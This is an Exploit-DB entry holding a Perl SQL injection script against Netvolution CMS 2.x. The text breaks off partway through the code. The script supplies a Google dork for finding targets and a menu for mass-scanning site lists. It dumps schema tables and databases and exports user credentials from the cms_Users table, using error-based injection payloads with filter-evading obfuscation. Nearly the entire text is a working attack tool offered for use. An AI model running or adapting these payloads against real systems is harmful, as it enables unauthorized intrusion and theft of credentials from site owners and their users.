Exploit-DB #13815
Description: Netvolution CMS 2.x - SQL Injection Script
Type: webapps
Platform: asp
Date: 2010-06-10
Author: amquen & krumel

Exploit:
#!/usr/bin/perl

#########################################################################################
#											#
# Exploit Title: Netvolution exploit script for CMS Version >= 2.xx.xx.xx		#
# Date: 10/6/2010				  					#
# Sotware Link: www.netvolution.net							#
# Bug found : amquen, krumel								#
# Exploited by: krumel									# 
# Exploit Coded: mr.pr0n								#
#                                     							#
# Many thanks to icesurfer (author of SQLNINJA) and all p0wnbox members.		#
# I have contact www.atcom.gr no response yet, although it seems that they have patch   #
# partially the software.								#
#########################################################################################
#											#
# This program is free software; you can redistribute it and/or				#
# modify it under the terms of the GNU General Public License				#
# as published by the Free Software Foundation; either version 2			#
# of the License, or (at your option) any later version.				#
# 											#
# This program is distributed in the hope that it will be useful,			#
# but WITHOUT ANY WARRANTY; without even the implied warranty of			#
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the				#
# GNU General Public License for more details.						#
#											# 
# You should have received a copy of the GNU General Public License			#
# along with this program; if not, write to the Free Software				#
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.		#
#											#
#########################################################################################

#Using some modules!
use LWP::UserAgent;
use IO::Socket;
use IO::Handle;

print "\e[1;31m  _   _      _              _       _   _                                _       _ _ 			\e[0m\n";    
print "\e[1;31m | \\ | |    | |            | |     | | (_)                              | |     (_) | 			\e[0m\n";  
print "\e[1;31m |  \\| | ___| |___   _____ | |_   _| |_ _  ___  _ __      _____  ___ __ | | ___  _| |_ 		        \e[0m\n"; 
print "\e[1;31m | . ` |/ _ \\ __\\ \\ / / _ \\| | | | | __| |/ _ \\| '_ \\    / _ \\ \\/ / '_ \\| |/ _ \\| | __|	\e[0m\n";
print "\e[1;31m | |\\  |  __/ |_ \\ V / (_) | | |_| | |_| | (_) | | | |  |  __/>  <| |_) | | (_) | | |_  		\e[0m\n";
print "\e[1;31m |_| \\_|\\___|\\__| \\_/ \\___/|_|\\__,_|\\__|_|\\___/|_| |_|   \\___/_/\\_\\ .__/|_|\\___/|_|\\__|	\e[0m\n";
print "\e[1;31m                                                                  | |                  			\e[0m\n";               
print "\e[1;31m                                                                  |_|  ...for CMS Version >= 2.xx.xx.xx 	\e[0m\n";

# ************* #
# Target dork.   
# ************* #
print "\nGoogle Dork:";
print "\n\e[1;45mallinurl: 'default.asp?pid'\e[0m\n";

# ************ #
# Main Menu.
# ************ #
menu:;

print "\n[*] Main Menu:\n";
print "    1. Automated list site scan for injection.\n";
print "    2. Export all Infomation_Schema Tables and Columns.\n";
print "    3. Find all Databases.\n";
print "    4. Export all usernames and passwords of the 'cms_Users' table.\n";
print "    5. Manuall exploitation.\n";
print "    6. Compatibility with the Metasploit Framework.\n";
print "    7. Exit.\n";

print "> ";
$option=<STDIN>;
print "\n";
if ($option!=1 && $option!=2 && $option!=3 && $option!=4 && $option!=5 && $option!=6 && $option!=7) 
{
print "\e[1;31mWrong Option!!\e[0m\n";
goto menu;
}
# Select Option.
if ($option==1)
{&site_scan} # Automated list site scan for injection.
if ($option==2)
{&info_schema_tables_and_columns}# Export all Infomation_Schema Tables and Columns.
if ($option==3)
{&extract_db}# Find all Databases.
if ($option==4)
{&automated_exploitation}# Export all usernames and passwords of the 'cms_Users'table.
if ($option==5)
{&manually}# Manuall exploitation.
if ($option==6)
{&metasploit}# Compatibility with Metasploit Project (Under construction).
if ($option==7)
{&quit}# Quit it!

# ******************************************* #
# Automated list site scan for injection.
# ******************************************* #
sub site_scan
{
$sites= "/Users/pentest/Desktop/sites.txt"; ########  ***[E_D_I_T  H_E_R_E]***  ##############
$scan = "10+and+1=convert(int,db_name(1))";

# Counter
$i = 1;
print " [*]Opening site list... \n";
open (SITELIST, $sites);
print " [*]Sitelist opened successfully!\n";
print " [*]Scanning...\n";
@sitelist = <SITELIST>;
   print " [*]Results:\n";
   for ($i; $i <= @sitelist; $i++)
   {  
       $host = $sitelist[$i]; 
       chop ($host);  
       $int = LWP::UserAgent->new() or die;
       $check=$int->get($host.$scan);   
          if ($check->content =~ m/value '(.*)' to/g)
          {
	    print "\e[1;36m$host\e[0m\n";
          }
    }
goto menu;
}

# ********************************************************** #
# Exploiting *all* the Infomation_Schema Tables and Columns.  
# ********************************************************** #
sub info_schema_tables_and_columns
{
# ***************#
# Table Counter 
# ***************#
print "Enter your Target (e.g.: http://www.target.gr/default.asp?pid=73&artID=)\n";
print "> ";
$atcom=<STDIN>;
print "Enter the range scanning of Tables (e.g.: 15): \n";
print "> ";
$endt =<STDIN>;

# Counter
$countt = 1;
print "\n [*] Exloiting Information_Schema Tables...\n";
    $infoschema_t = "10+and+1=convert(int,(se%l%e%c%t%20top%20%201%20table_name%20from%20Information_Schema.tables))";
    $int = LWP::UserAgent->new() or die;
    $check=$int->get($atcom.$infoschema_t);
    if ($check->content =~ m/value '(.*)' to/g)
    {
       ($first_t) = $1;
        print "\e[1;33m$first_t\e[0m\n";
           @chars_t = split(//, "$first_t");
           $got_t = join("%", @chars_t);
           $first_t = "%27$got_t%27";
           for ($countt; $countt <= $endt; $countt++)